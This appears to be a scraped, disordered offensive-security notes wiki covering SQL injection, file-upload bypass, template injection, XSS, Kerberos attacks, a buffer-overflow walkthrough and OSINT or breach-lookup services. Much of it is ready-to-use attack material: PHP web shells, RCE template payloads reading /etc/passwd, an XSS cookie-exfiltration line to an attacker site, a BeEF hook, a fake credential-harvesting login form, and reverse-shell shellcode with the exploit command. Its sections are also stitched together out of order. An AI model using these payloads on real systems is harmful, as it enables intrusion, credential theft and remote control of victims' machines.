    SQL Injection (SQLi) is a type of an injection attack that makes it possible to execute malicious SQL statements. These statements control a database server behind a web application. Attackers can use SQL Injection vulnerabilities to bypass application security measures.

    Payloads

    Types

    Error based

    Forcing the database to perform some operation in which the result will be an error. Then try to extract some data from the database and show it in the error message.

    Example

    Boolean based

    Relies on sending an SQL query to the database which forces the application to return a different result depending on whether the query returns a TRUE or FALSE result.

    Example

    Blind based

    Sending payloads, observing the web application’s response and the resulting behavior of the database server. Check payloads.

    Example

    Union based

    UNION-based attacks allow the tester to easily extract information from the database. Because the UNION operator can only be used if both queries have the exact same structure, the attacker must craft a SELECT statement similar to the original query.

    Example

    Time based

    Forces the database to wait for a specified amount of time (in seconds) before responding. The response time will indicate to the attacker whether the result of the query is TRUE or FALSE.

    Example

    SQLi to RCE

    Using XAMP

    Payload

    A Guide To Subdomain Takeovers | HackerOneHackerOne
    VirusTotalVirusTotal
    VirusTotal Search
    Logo
    Play with it livedsopas.github.io
    GitHub - urbanadventurer/WhatWeb: Next generation web scannerGitHub
    hatWeb identifies websites. It recognizes web technologies including content management systems (CMS), blogging platforms, statistic/analytics packages, JavaScript libraries, web servers, and embedded devices.
    https://owasp.org/www-project-zapowasp.org
    Meh...
    https://github.com/rng70/Hacking-Resources/blob/master/Burp%20Suite/Burp%20Suite%20Cookbook.pdfgithub.com
    BurpSuite Cookbook
    GitHub - stealthcopter/deepce: Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)GitHub
    Docker Security - OWASP Cheat Sheet Seriescheatsheetseries.owasp.org
    GitHub - relarizky/wpxploit: Simple Python Script For Performing XMLRPC Dictionary AttackGitHub
    GitHub - wpscanteam/wpscan: WPScan WordPress security scanner. Written for security professionals and blog maintainers to test the security of their WordPress websites. Contact us via [email protected]GitHub
    https://nitesculucian.github.io/2019/07/01/exploiting-the-xmlrpc-php-on-all-wordpress-versions/nitesculucian.github.io
    Have I Been Pwned: Check if your email address has been exposed in a data breachHave I Been Pwned
    https://psbdmp.ws/api/search/[email protected]psbdmp.ws
    Monitors the entire Pastebin
    Hudson Rock - Infostealer Intelligence SolutionsHudson Rock
    Check if the email show up in someone's stealer logs
    Intelligence Xintelx.io
    Search across IP/email/domain/bitcoin address and etc.
    LeakPeek - Homeleakpeek.com
    https://psbdmp.ws/api/search/email/psbdmp.ws
    add email address in url
    Snusbase Database Search Enginepublicdbhost
    Indexes information from leaks and enables searching for compromised email addresses, logins, names, IP addresses, phone numbers, and password hashes.
    https://www.drupal.org/files/issues/2019-11-08/drupal_rce.tar_.gzwww.drupal.org
    Remote code execution possible by uploading a module containing malicious codeDrupal.org
    GitHub - immunIT/drupwn: Drupal enumeration & exploitation toolGitHub
    Drupal < 8.6.9 - REST Module Remote Code ExecutionExploit Database
    GitHub - SamJoan/droopescan: A plugin-based scanner that aids security researchers in identifying issues with several CMSs, mainly Drupal & Silverstripe.GitHub
    GitHub - ropnop/kerbrute: A tool to perform Kerberos pre-auth bruteforcingGitHub
    Using HTTP cookies - HTTP | MDNMDN Web Docs
    Define where cookies are sent
    Logo
    GitHub - ptoomey3/evilarc: Create tar/zip archives that can exploit directory traversal vulnerabilitiesGitHub
    evilarc
    GitHub - chipik/SAP_RECON: PoC for CVE-2020-6287, CVE-2020-6286 (SAP RECON vulnerability)GitHub
    Logo
    fuzzdb/dict/BURP-PayLoad/LFI/LFI-LogFileCheck.txt at master · tennc/fuzzdbGitHub
    LogFile check

    Lookupsid

    Windows SID brute forcer example through [MS-LSAT] MSRPC Interface, aiming at finding remote users/groups.

    Requirements:

    • Domain

    • Username

    ClickJacking

    What is ClickJacking ?

    Clickjacking, also known as a “UI redress attack”, is when an attacker uses multiple transparent or opaque layers to trick a user into clicking on a button or link on another page when they were intending to click on the top level page.

    Thus, the attacker is “hijacking” clicks meant for their page and routing them to another page, most likely owned by another application, domain, or both.

    Hacking with LaTeX | 0day.work0day.work

    Website OSINT

    Support our projects

    GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web TokensGitHub
    PayloadsAllTheThings/Methodology and Resources/Reverse Shell Cheatsheet.md at master · swisskyrepo/PayloadsAllTheThingsGitHub
    Reverse Shell List
    https://graytier.com/blog/f/testing-for-idor-and-authorization-vulnerabilities-in-oracle-apexgraytier.com
    # Change :
    # Content-Disposition: form-data; name="avatar"; filename="secrets.php"
    # to
    # Content-Disposition: form-data; name="avatar"; filename="../secrets.php"
    
    # You can encode "../" as :
        %2e%2e%2f
        %252e%252e%252f
        ..%c0%af
        ..%ef%bc%8f
    # Then access the file with LFI :
    # GET /files/avatars/../secrets.php
    # First, upload a malicious .htaccess :
    # Content-Disposition: form-data; name="avatar"; filename=".htaccess"
    # Content-Type: text/plain
    
    # AddType application/x-httpd-php .l33t
    
    # Then upload the php file with .l33t extention
    # Content-Disposition: form-data; name="avatar"; filename="secrets.l33t"
    # Content-Type: application/x-php
    
    <?php echo file_get_contents('/home/carlos/secret'); ?>
    # or
    <?php system($_GET['cmd']); ?>
    # You can add :
    GIF89a; // at the beginning of the php file or in the burp request
    
    # Burp request
    # Content-Disposition: form-data; name="avatar"; filename="secrets.php"
    # Content-Type: application/x-php
    
    # GIF89a at the beginning of the php command
    GIF89a;<?php echo file_get_contents('/home/carlos/secret'); ?>
    # OR
    GIF89a;<?php system($_GET['cmd']); ?>
    # example 1
    exiftool -Comment="<?php echo 'START ' . 
    file_get_contents('/home/carlos/secret') . ' END'; ?>" <YOUR-INPUT-IMAGE>.jpg -o polyglot.php
    
    # example 2
    exiftool -Comment="<?php echo 'START ' . 
    system($_GET['cmd']); . ' END'; ?>" $input.jpg -o polyglot.php
    git clone https://github.com/sAjibuu/upload_bypass.git
    cd upload_bypass/
    pip3 install -r requirements.txt
    
    python3 ext_bypass.py -u $url -e $extension-file -a $allowed-extension -s $success-msg --location $path-of-uploaded-file
    sqlmap -u 'http://target.server.com'
    sqlmap -u "http://10.10.155.76/login.php" -method "POST" -data "[email protected]&log_password=123456&login_button=Login" --dbs
    sqlmap -u 'http://target.server.com' --cookie='JSESSIONID=09h76qoWC559GH1K7D- SQHx'
    sqlmap -u 'http://target.server.com' -r req.txt --drop-set-cookie
    sqlmap -u 'http://target.server.com' --data='param1=blah' --level=5 --risk=3
    sqlmap -u 'http://target.server.com' --data='param1=blah&param2=blah' -p param1
    sqlmap -u 'http://target.server.com' -r req.txt --random-agent
    sqlmap -u 'http://target.server.com' -r req.txt --dbms Oracle
    sqlmap -r ./req.txt -p user --level=1 --risk=3 --passwords
    sqlmap -r ./req.txt --level=1 --risk=3 --privesc
    Run the “whoami” command on the target server.
    sqlmap -r ./req.txt --level=1 --risk=3 --os-cmd=whoami
    sqlmap -r ./req.txt --level=1 --risk=3 --dump --delay=1
    sqlmap -r req --technique=E -U <user> --level 5 --risk 3 --tamper=space2comment --dbms=MSSQL -D <db> --dump
    # nmap
    nmap -n -sV --script "ldap* and not brute" -p 389 $dcip
    
    # anonymous bind ?
    ldapsearch -x -H ldap://$dcip -b "dc=domain,dc=local" "objectclass=*"
    # usage
    ldeep ldap -s ldap://$ldapserverip -u $user -p $passwd -d ';' all ldeep-output
    ldapdomaindump -u $domain\\$user -p $passwd -d ';' ldap://$ldapserverip
    -------------------------------------------------------------------
    Polyglot:
    ${{<%[%'"}}%\
    
    -------------------------------------------------------------------
    FreeMarker (Java):
    ${7*7} = 49
    <#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") }
    --------------------------------------------------------------------
    (Java):
    ${7*7}
    ${{7*7}}
    ${class.getClassLoader()}
    ${class.getResource("").getPath()}
    ${class.getResource("../../../../../index.htm").getContent()}
    ${T(java.lang.System).getenv()}
    ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
    --------------------------------------------------------------------
    Twig (PHP):
    {{7*7}}
    {{7*'7'}}
    {{dump(app)}}
    {{app.request.server.all|join(',')}}
    "{{'/etc/passwd'|file_excerpt(1,30)}}"@
    {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
    --------------------------------------------------------------------
    Smarty (PHP):
    {$smarty.version}
    {php}echo `id`;{/php}
    {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
    -------------------------------------------------------------------
    Handlebars (NodeJS):
    wrtz{{#with "s" as |string|}}
    {{#with "e"}}
    {{#with split as |conslist|}}
    {{this.pop}}
    {{this.push (lookup string.sub "constructor")}}
    {{this.pop}}
    {{#with string.split as |codelist|}}
    {{this.pop}}
    {{this.push "return require('child_process').exec('whoami');"}}
    {{this.pop}}
    {{#each conslist}}
    {{#with (string.sub.apply 0 codelist)}}
    {{this}}
    {{/with}}
    {{/each}}
    {{/with}}
    {{/with}}
    {{/with}}
    {{/with}}
    -------------------------------------------------------------------
    Velocity:
    #set($str=$class.inspect("java.lang.String").type)
    #set($chr=$class.inspect("java.lang.Character").type)
    #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
    $ex.waitFor()
    #set($out=$ex.getInputStream())
    #foreach($i in [1..$out.available()])
    $str.valueOf($chr.toChars($out.read()))
    #end
    -------------------------------------------------------------------
    ERB (Ruby):
    <%= system("whoami") %>
    <%= Dir.entries('/') %>
    <%= File.open('/example/arbitrary-file').read %>
    -------------------------------------------------------------------
    Django Tricks (Python):
    {% debug %}
    {{settings.SECRET_KEY}}
    --------------------------------------------------------------------
    Tornado (Python):
    {% import foobar %} = Error
    {% import os %}{{os.system('whoami')}}
    --------------------------------------------------------------------
    Mojolicious (Perl):
    <%= perl code %>
    <% perl code %>
    -------------------------------------------------------------------
    Flask/Jinja2: Identify:
    {{ '7'*7 }}
    {{ [].class.base.subclasses() }} # get all classes
    {{''.class.mro()[1].subclasses()}}
    {%for c in [1,2,3] %}{{c,c,c}}{% endfor %}
    
    
    -------------------------------------------------------------------
    Flask/Jinja2: 
    {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
    --------------------------------------------------------------------
    Jade:
    #{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
    --------------------------------------------------------------------
    Razor (.Net):
    @(1+2)
    @{// C# code}
    --------------------------------------------------------------------
    ASP:
    <%response.write(date())%>.
    <% Response.Write("testing execution") %>
    <%="testing execution" %>
    Logo
    Logo
    Logo

    File sharing

    lightweight Web Server

    # python
    python -m SimpleHTTPServer 8080
    python3 -m http.server
    
    # busybox
    busybox httpd --help # show available options
    busybox httpd -p 127.0.0.1:8080 -h /var/www/  # start start httpd 
    pkill busybox  # to stop busybo httpd
    
    # npm
    http-server
    
    # php
    php -S 127.0.0.1:8080

    Others

    # curl
    curl -O http://192.168.0.101/file.txt
    
    # nc
    # to share
    nc -lvp 4444 < file
    # to receive
    nc 192.168.1.102 4444 > file
    
    # scp
    scp /path/to/source/file.ext [email protected]:/path/to/destination/file.ext
    Password/Password Hash
  • Target IP Address

  • # synthax
    lookupsid.py $domain/$user:$password/$password_hash@$target_ip
    
    # example
    lookupsid.py hazard:[email protected]

    Use of HTTPOnly Flags on the Cookies.

  • The developers can use Content Security Policy (CSP) to reduce the severity of any XSS vulnerabilities.

  • Check

    • No X-Frame-Options Header

    • No Content Security Policy (with the frame-ancestors directive)

    PoC

    BurpSuite

    Manual

    .netrc 
    .pgpass
    .bash_history
    .zsh_history
    .bash_history
    .nano_history
    .atftp_history
    .mysql_history
    .php_history
    /root/anaconda-ks.cfg
    DNSDumpster - Find & lookup dns records for recon & researchDNSDumpster.com
    Logo
    Logo
    Code execution via Twig templates (including inline)Drupal.org
    Logo

    Exploits

    Take Control of EIP

    One of the most important aspects of a stack-based buffer overflow is to get the instruction pointer (EIP) under control, so we can tell it to which address it should jump. This will make the EIP point to the address where our shellcode starts and causes the CPU to execute it.

    Determine the Offset

    The offset is used to determine how many bytes are needed to overwrite the buffer and how much space we have around our shellcode.

    Create pattern

    Shellcode is a program code that contains instructions for an operation that we want the CPU to perform. The manual creation of the shellcode will be discussed in more detail in other modules. But to save some time first, we use the Metasploit Framework (MSF) that offers a Ruby script called “pattern_create” that can help us determine the exact number of bytes to reach the EIP. It creates a unique string based on the length of bytes you specify to help determine the offset.

    If we now use precisely this number of bytes for our "U"s, we should land exactly on the EIP. To overwrite it and check if we have reached it as planned, we can add 4 more bytes with "\x66" and execute it to ensure we control the EIP.

    The EIP has been overwritten with our \x66 characters.

    Next, we have to find out how much space we have for our shellcode, which then executes the commands we intend. As we control the EIP now, we will later overwrite it with the address pointing to our shellcode's beginning.

    Examine the register and find the address of EBP

    Determine the Length for Shellcode

    We have to find out approximately how big our shellcode will be that we will insert, and for this, we will use msfvenom.

    Shellcode length

    • We need a total of 1040 bytes to get to the EIP.

    • Here, we can use an additional 100 bytes of NOPs

    • 150 bytes for our shellcode.

    Buffer

    Now we can try to find out how much space we have available to insert our shellcode.

    Identification of Bad Characters

    Here we use the following character list to find out all characters we have to consider and to avoid when generating our shellcode.

    We need to calculate our buffer again.

    Look at the whole main function to set a breakpoint at the corresponding function so that the execution stops at this point and we can analyze the memory's content :

    Generate shellcode

    msfvenom

    ASREPRoast

    In case of last resort.

    PS: This attack could be used in a post-compromise scenario but also in the initial attack vectors ;)

    Brief

    ASREPRoast is about retrieving crackable hashes from KRB5 AS-REP responses for users without kerberoast preauthentication enabled.

    This isn’t as useful as Kerberoasting, as accounts have to have DONT_REQ_PREAUTH() explicitly set for them to be vulnerable and you’re still reliant upon weak password complexity for the attack to work. But who knows, might be the only weak point you need.

    Now, if you can enumerate accounts in a Windows domain that don’t require Kerberos preauthentication, you can easily request a piece of encrypted information for said accounts and efficiently crack the material offline, revealing the user’s password.

    To do that you need to :

    1. Send the KRB_AS_REQ to get the KRB_AS_REP with the encrypted information, to do so :

      1. If you have username :

        1. GetNPUser.py $domain/$username -no-pass -dc-ip $ip -request

    https://breachdirectory.org/breachdirectory.org
    LeakCheck - Find out if your credentials have been compromisedleakcheck.io
    Email / Username, password breaches check
    DeHashed — #FreeThePasswordwww.dehashed.com
    Almost the same as IntelX
    https://oathnet.ruoathnet.ru
    Find anyone that left a trace on the Internet - Free : 5 searches a day
    GitHub - 0dayCTF/reverse-shell-generator: Hosted Reverse Shell generator with a ton of functionality. -- (Great for CTFs)GitHub
    Online - Reverse Shell Generatorwww.revshells.com
    Reverse Shell Cheat Sheetpentestmonkey

    findDelegation

    Impacket-findDelegation

    Simple script to quickly list all delegation relationships (unconstrained, constrained, resource-based constrained) in an AD environment.

    findDelegation.py "DOMAIN"/"USER":"PASSWORD"
    
    # --user feature in 2021
    findDelegation.py -user "account" "DOMAIN"/"USER":"PASSWORD"

    More about delegations

    unix-privesc-checkpentestmonkey
    GitHub - calebstewart/pwncat: Fancy reverse and bind shell handlerGitHub
    Privilege Escalation - Linux · Total OSCP Guidesushant747.gitbooks.io
    GitHub - The-Z-Labs/linux-exploit-suggester: Linux privilege escalation auditing toolGitHub
    GitHub - AlessandroZ/LaZagne: Credentials recovery projectGitHub
    PEASS-ng/linPEAS at master · peass-ng/PEASS-ngGitHub
    GitHub - diego-treitos/linux-smart-enumeration: Linux enumeration tool for pentesting and CTFs with verbosity levelsGitHub
    GitHub - calebstewart/pwncat: Fancy reverse and bind shell handlerGitHub
    GitHub - payloadbox/xxe-injection-payload-list: 🎯 XML External Entity (XXE) Injection Payload ListGitHub
    GitHub - jbarone/xxelab: A simple web app with a XXE vulnerability.GitHub
    GitHub - bee-san/RustScan: 🤖 The Modern Port Scanner 🤖GitHub
    GitHub - nmap/nmap: Nmap - the Network Mapper. Github mirror of official SVN repository.GitHub

    User OSINT

    Everything

    Usernames

    Remote Code Execution

    What is RCE ?

    If an attacker gains control of a target computer through some sort of vulnerability, and they also gain the power to execute commands on that remote computer this process is called Remote Code Execution (RCE)

    • It is one of the cyber-attacks where an attacker can remotely execute commands on someone’s computer

    GitHub - CasperGN/ActiveDirectoryEnumeration: Enumerate AD through LDAP with a collection of helpfull scripts being bundledGitHub
    File uploads | Web Security AcademyWebSecAcademy
    Source
    GitHub - ShawnDEvans/smbmap: SMBMap is a handy SMB enumeration toolGitHub
    https://example.com/action.php?query=<script>document.location=’https://xssattacksite.com/log.php?c=’ + encodeURIComponent(document.cookie)</script>
    let searchText = document.getElementById(‘searchText’).value;
    let resultsData = document.getElementById(‘resultsData’);
    resultsData.innerHTML = ‘Your search results for: ‘ + searchText;
    <!-- put this into a form field or search bar-->
    <img src=q onError=prompt('!XSS!'); />
    <script>alert("!XSS!")</script>
    <script>print()</script>
    
    <!-- encoded -->
    %uff1cscript%uff1eprompt("!XSS!");%uff1c/script%uff1e&
    %253Cscript%253Eprint()%253C%252Fscript%253E
    %253Cimg%2520src%253Dq%2520onError%253Dalert(%2522XSS%2522)%253B%2520%252F%253E
    
    <!-- Bypassing First Filter -->
    <svg/onload=alert(1)>
    <svg//////onload=alert(1)>
    <svg id=x;onload=alert(1)>
    <svg id=`x`onload=alert(1)>
    <svg%09onload=alert(1)>
    <svg onload%09=alert(1)>
    <svg%09onload%20=alert(1)>
    <svg onload%09%20%28%2C%3B=alert(1)>
    <svg onload+0B=alert(1)>
    <script>\u0061lert(1)</script>
    <script>\u0061\u006c\u0065\u0072\u0074(1)</script>
    <img src=x onerror="\u0061lert"/>
    <img src=x onerror="eval('\141lert(1)')"/>
    <img src=x onerror="eval('\x61lert(1)')"/>
    
     <!-- Javascript Keyword is blocked-->
    <object data="JaVaScRiPt:alert(1)">
    <object data="javascript&colon;alert(1)">
    <object data="java  
        script:alert(1)">
    <object data="javascript&#x003A;alert(1)">
    <object data="javascript&#58;alert(1)">
    <object data="&#x6A;avascript;alert(1)">
    <object data="&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;74;&#x3A;alert(1)">
    <object data="data:text/html,<script>alert(1)</script>">
    <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
    
    git clone https://github.com/beefproject/beef.git
    ./install
    nano config.yaml # change username and password
    ./beef
    <!-- insert this into xss vulnerable field : -->
    <script src="http://ip_hacker:3000/hook.js"></script>
    
    <!-- use waf bypass -->
    <!-- URL ENCODE THESE & put them in a form field -->
    <b>test</b>
    <a href="https://google.com">test</a>
    <img src= "https://www.ignitetechnologies.in/img/logo-blue-white.png">
    
    <!-- add a form field to website -->
    <div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index:1000; background-color:white; padding:1em;">Please login with valid 
    credentials:<br><form name="login" action="http://192.168.0.7:4444/login.htm">
    <table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td>
    <td><input type="text" name="password"/></td></tr><tr>
    <td colspan=2 align=center><input type="submit" value="Login"/></td></tr>
    </table></form>
    <!-- copy in a form field -->
    <iframe src="http://www.google.com" width="250" height="250"></iframe>
    # find config files : 
    find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null
    
    # (system user account information)
    /etc/passwd
    /etc/shadow
    # (MySQL configuration)
    /etc/my.cnf
    /etc/mysql/my.cnf
    ~/.my.cnf
    /etc/mysql/conf.d/
    /etc/mysql/mysql.conf.d/
    /var/lib/mysql/mysql/user.MYD
    # (PostgreSQL configuration)
    /var/lib/pgsql/data/postgresql.conf 
    pg_hba.conf
    pg_ident.conf
    # (web server configuration)
    /etc/httpd/conf/httpd.conf
    /etc/nginx/nginx.conf 
    /var/apache2/config.inc
    # (SSH server configuration)
    /etc/ssh/sshd_config
    # (Web Server configuration)
    /etc/httpd/conf/*
    /etc/nginx/*
    # (Tomcat configuration)
    tomcat-users.xml
    find / -name 'tomcat-users.xml'
    /var/spool/cron/* 
    /etc/crontab
    # web app
    /var/www/html/
    # other application directories
    https://www.example.beaglesecurity.com/gallery.php?id=6'
    https://www.example.beaglesecurity.com/gallery.php?id=6' AND 1=1 --+
    https://example.com/products.aspx?id=1;EXEC master..xp_dirtree '\\test.attacker.com\' --
    https://example.com/products.aspx?id=1' UNION SELECT passwords from users;
    https://example.com/products.aspx?id=1' and if(substring(user(),2,1)='a',SLEEP(5),1)--
    # Inject cmd parameter
    ' union select 1,<php_payload>,3,4 into outfile <path> --
    ' union select 1,'<?php system($_GET["cmd"]); ?>',3,4 intooutfile 'C:\\xampp\\htdocs\\rce.php' --
    
    # Reverse Shell created. Access from outside :
    <host>/rce.php?cmd=<command>
    
    # Test :
    127.0.0.1/rce.php?cmd=time
    # Result : The current time is: 16:22:25.20 Enter the new time: 3 4
    Logo
    Logo
    Logo
    Logo
    Logo
    Logo

    If you have no username :

    1. GetNPUser.py $domain/ -no-pass -dc-ip $ip -request

  • Crack hashes :

    1. hashcat -m 18200 ticket wordlist

  • ❯ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1200 > pattern.txt
    cat pattern.txt
    Aa0Aa1Aa2Aa3Aa4Aa5...<SNIP>...Bn6Bn7Bn8Bn9
    
    # GDB using the generated payload
    (gdb) run $(python -c "print 'Aa0Aa1Aa2Aa3Aa4Aa5...<SNIP>...Bn6Bn7Bn8Bn9'") 
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    
    Starting program: /home/student/bow/bow32 $(python -c "print 'Aa0Aa1Aa2Aa3Aa4Aa5...<SNIP>...Bn6Bn7Bn8Bn9'")
    Program received signal SIGSEGV, Segmentation fault.
    0x69423569 in ?? ()
    
    # GDB - EIP
    (gdb) info registers eip
    eip            0x69423569	0x69423569
    
    # CALCULATING THE OFFSET
    # We see that the EIP displays a different memory address, and we can use another MSF tool called "pattern_offset" to calculate the exact number of characters (offset) needed to advance to the EIP.
    ❯ /usr/bin/ruby /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_offset.rb -q 0x69423569
    [*] Exact match at offset 1036
    (gdb) run $(python -c "print '\x55' * 1036 + '\x66' * 4")
    
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    
    Starting program: /home/student/bow/bow32 $(python -c "print '\x55' * 1036 + '\x66' * 4")
    Program received signal SIGSEGV, Segmentation fault.
    0x66666666 in ?? ()
    (gdb) info registers ebp
    ebp            0x55555555          0x55555555
    msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 lport=31337 --platform linux --arch x86 --format c
    Buffer = "\x55" * (1040 - 100 - 150 - 4) = 786
    NOPs = "\x90" * 100
    Shellcode = "\x44" * 150
    EIP = "\x66" * 4
     (gdb) run $(python -c 'print "\x55" * (1040 - 100 - 150 - 4) + "\x90" * 100 + "\x44" * 150 + "\x66" * 4')
    \x00 - Null Byte
    \x0A - Line Feed
    \x0D - Carriage Return
    \xFF - Form Feed
    # characters list
    
    CHARS="\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
    
    # string length
    echo $CHARS | sed 's/\\x/ /g' | wc -w
    256
    Buffer = "\x55" * (1040 - 256 - 4) = 780
    CHARS = "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfd\xfe\xff"
    EIP = "\x66" * 4
    (gdb) disas main
    
    # setting the breakpoint at the function
    (gdb) break bowfunc
    
    # send chars
    (gdb) run $(python -c 'print "\x55" * (1040 - 256 - 4) + "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')
    
    # look at the stack
    (gdb) x/2000xb $esp+500
    
    # identify all bad characters - look where the chars start
    # adjust the number of chars from the one who are bad
    # Substract the number of removed characters
    
    # Buffer = "\x55" * (1040 - 255 - 4) = 781
    # "\x00" removed: 256 - 1 = 255 bytes
    # CHARS = "\x01\x02\x03...<SNIP>...\xfd\xfe\xff"
    # EIP = "\x66" * 4
    
    # send without the null byte
    (gdb) run $(python -c 'print "\x55" * (1040 - 255 - 4) + "\x01\x02\x03\x04\x05...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')
    
    # the stack
    x/2000xb $esp+550
    
    # check for other bad chars ... etc
    # syntahx
    msfvenom -p linux/x86/shell_reverse_tcp lhost=<LHOST> lport=<LPORT> --format c --arch x86 --platform linux --bad-chars "<chars>" --out <filename>
    
    # real command
    msfvenom -p linux/x86/shell_reverse_tcp lhost=127.0.0.1 lport=31337 --format c --arch x86 --platform linux --bad-chars "\x00\x09\x0a\x20" --out shellcode
    
    # content of shellcode
    ❯ cat shellcode
    unsigned char buf[] = 
    "\xbe\x6e\x05\xb5\x18\xdd\xc1\xd9\x74\x24\xf4\x5a\x31\xc9"
    "\xb1\x12\x31\x72\x12\x03\x72\x12\x83\x84\xf9\x57\xed\x69"
    "\xd9\x6f\xed\xda\x9e\xdc\x98\xde\xa9\x02\xec\xb8\x64\x44"
    "\x9e\x1d\xc7\x7a\x6c\x1d\x6e\xfc\x97\x75\x0e\xfe\x67\x84"
    "\x98\xfc\x67\xfc\x31\x88\x89\xb0\xa4\xda\x18\xe3\x9b\xd8"
    "\x13\xe2\x11\x5e\x71\x8c\xc7\x70\x05\x24\x70\xa0\xc6\xd6"
    "\xe9\x37\xfb\x44\xb9\xce\x1d\xd8\x36\x1c\x5d";
    
    # Now that we have our shellcode, we adjust it to have only one string, and then we can adapt and submit our simple exploit again.
    
    # Buffer = "\x55" * (1040 - 124 - 95 - 4) = 817
    # NOPs = "\x90" * 124
    # Shellcode = "\xda\xca\xba\xe4\x11...<SNIP>...\x5a\x22\xa2"
    # EIP = "\x66" * 4'
    
    # EXPLOIT
    (gdb) run $(python -c 'print "\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + ""\xbe\x6e\x05\xb5\x18\xdd\xc1\xd9\x74\x24\xf4\x5a\x31\xc9\xb1\x12\x31\x72\x12\x03\x72\x12\x83\x84\xf9\x57\xed\x69\xd9\x6f\xed\xda\x9e\xdc\x98\xde\xa9\x02\xec\xb8\x64\x44\x9e\x1d\xc7\x7a\x6c\x1d\x6e\xfc\x97\x75\x0e\xfe\x67\x84\x98\xfc\x67\xfc\x31\x88\x89\xb0\xa4\xda\x18\xe3\x9b\xd8\x13\xe2\x11\x5e\x71\x8c\xc7\x70\x05\x24\x70\xa0\xc6\xd6\xe9\x37\xfb\x44\xb9\xce\x1d\xd8\x36\x1c\x5d"" + "\x66" * 4')
    
    # reverse shell 
    nc -lvnp 31337
    # MISC of commands
    # list of users in users file
    for user in $(cat users); do GetNPUsers.py -no-pass -dc-ip $ip $domain/${user} | grep -v Impacket; done
    
    GetNPUsers.py -dc-ip $ip -request $domain/
    
    GetNPUsers.py -dc-ip $ip -request $domain/ -format hashcat/john
    
    GetNPUsers.py -dc-ip $ip -usersfile users.txt $domain/
    
    GetNPUsers.py $domain/backup -no-pass
    
    GetNPUsers.py -no-pass $domain/ -usersfile users.txt -format hashcat -outputfile hashes.txt
    Services:
    • OSINT Industries — Reveal what's behind any contact

    • AwareOnline : Username tools — Investigations, check usernames

    • Hunter и Skymem — Search for corporate email addresses by URL.

    • whatsmyname — Searches for accounts in various services by login, based on public JSON.

    • — A free tool for finding a user by login on over 2 thousand websites.

    • , , , , —Online services for searching user accounts by login.

    Social Medias

    • VKWatch — VK profile history

    • FindClone — Searching by face on social medias (VK as i remember)

    • Search4Faces — Search user's profile picture on social media

    • OSI.IG — Instagram monitoring

    • — Skype OSINT

    Utils

    • Holehe OSINT — Checks if an email is associated with accounts on sites like Twitter, Instagram, and Imgur, supporting over 100 portals.

    • Mailcat — Searches for email addresses by nickname from 22 email providers.

    • Sherlock — Searches social network accounts by username.

    • Snoop Project — A login search tool covering over two and a half thousand sites, according to the developer.

    • — Collects information on a person's login, checking accounts on over two and a half thousand sites and gathering available information from web pages, without requiring API keys. (Sherlock fork)

    • — An API, command line interface, and web application for analyzing and searching profiles on over 1 thousand sites.

    • — A Python utility for finding profiles by username on 350 websites.

    • — A fast search engine for account names, working with 210 sites.

    • — A tool for finding accounts by login on social networks.

    • — Facilitates search by login across public search engines from Google to Torch to Qwant

    • — A modular tool for collecting data about Google accounts.

    • — A tool for finding profiles by username.

    • — Mail verification service with some features

    Passwords

